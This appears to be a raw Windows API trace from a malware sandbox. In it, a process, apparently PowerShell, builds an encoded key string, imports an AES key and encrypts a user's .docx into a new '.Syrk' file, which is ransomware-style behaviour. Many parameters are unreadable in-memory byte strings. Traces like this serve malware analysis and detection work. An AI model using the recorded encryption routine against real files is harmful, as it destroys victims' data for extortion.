Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0226.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0226.753] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.753] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0226.753] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0226.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.754] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0226.754] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0226.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.754] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0226.754] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0226.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0226.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.755] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0226.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0226.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0226.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.755] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0226.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0226.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0226.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0226.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0226.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0226.756] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0226.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0226.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0226.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0226.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0226.757] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.757] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0226.758] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0226.758] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.758] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0226.758] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0226.758] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.758] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0226.758] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0226.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0226.758] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.759] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0226.759] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0226.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0226.759] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.759] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0226.759] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0226.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0226.759] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.759] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0226.759] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0226.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0226.760] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.760] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0226.760] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0226.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0226.760] SystemFunction041 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.760] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0226.760] SystemFunction040 (in: Memory=0x5c9249c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9249c) returned 0x0 [0226.760] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0226.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0226.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0226.761] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0226.761] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.761] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0226.761] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0226.762] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.762] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0226.762] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0226.762] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.762] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0226.762] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0226.762] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0226.763] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.763] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0226.763] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.763] EtwEventActivityIdControl () returned 0x0 [0226.763] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0226.763] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.764] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0226.764] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0226.941] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d430) returned 1 [0226.945] CryptImportKey (in: hProv=0x5c4d430, pbData=0x255f660*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99920) returned 1 [0226.945] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0226.945] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.946] EtwEventActivityIdControl () returned 0x0 [0226.946] EtwEventActivityIdControl () returned 0x0 [0226.946] EtwEventActivityIdControl () returned 0x0 [0227.048] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0227.049] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0227.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.050] EtwEventActivityIdControl () returned 0x0 [0227.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.051] EtwEventActivityIdControl () returned 0x0 [0227.051] EtwEventActivityIdControl () returned 0x0 [0227.051] EtwEventActivityIdControl () returned 0x0 [0227.059] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.059] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0227.059] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0227.086] GetFileType (hFile=0x454) returned 0x1 [0227.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0227.086] GetFileType (hFile=0x454) returned 0x1 [0227.086] EtwEventActivityIdControl () returned 0x0 [0227.087] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.087] EtwEventActivityIdControl () returned 0x0 [0227.087] EtwEventActivityIdControl () returned 0x0 [0227.087] EtwEventActivityIdControl () returned 0x0 [0227.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.088] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", lpFilePart=0x0) returned 0x32 [0227.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0227.089] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0227.190] GetFileType (hFile=0x458) returned 0x1 [0227.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0227.190] GetFileType (hFile=0x458) returned 0x1 [0227.190] EtwEventActivityIdControl () returned 0x0 [0227.190] CryptGenRandom (in: hProv=0x5c4d430, dwLen=0x10, pbBuffer=0x236d700 | out: pbBuffer=0x236d700) returned 1 [0227.193] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.193] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99760) returned 1 [0227.193] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.193] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x4, pbData=0x236ea38*=0x1, dwFlags=0x0) returned 1 [0227.195] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x1, pbData=0x236ea04, dwFlags=0x0) returned 1 [0227.196] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.196] EtwEventActivityIdControl () returned 0x0 [0227.196] EtwEventActivityIdControl () returned 0x0 [0227.196] EtwEventActivityIdControl () returned 0x0 [0227.197] EtwEventActivityIdControl () returned 0x0 [0227.198] ReadFile (in: hFile=0x454, lpBuffer=0x2371674, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2371674*, lpNumberOfBytesRead=0x5a2e7d8*=0xb43, lpOverlapped=0x0) returned 1 [0227.199] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2385680*, pdwDataLen=0x5a2e7cc*=0xb40, dwBufLen=0xb40 | out: pbData=0x2385680*, pdwDataLen=0x5a2e7cc*=0xb40) returned 1 [0227.199] ReadFile (in: hFile=0x454, lpBuffer=0x2371674, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2371674*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0227.200] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23861cc*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23861cc*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0227.200] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23861e8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23861e8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0227.200] WriteFile (in: hFile=0x458, lpBuffer=0x236d7e8*, nNumberOfBytesToWrite=0xb64, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x236d7e8*, lpNumberOfBytesWritten=0x5a2e7f8*=0xb64, lpOverlapped=0x0) returned 1 [0227.201] CloseHandle (hObject=0x458) returned 1 [0227.203] CloseHandle (hObject=0x454) returned 1 [0227.204] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.204] EtwEventActivityIdControl () returned 0x0 [0227.204] EtwEventActivityIdControl () returned 0x0 [0227.204] EtwEventActivityIdControl () returned 0x0 [0227.211] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0227.213] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.213] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.214] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0227.214] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0227.214] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0227.214] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0227.214] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0227.214] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0227.214] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0227.215] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0227.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0227.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0227.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0227.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 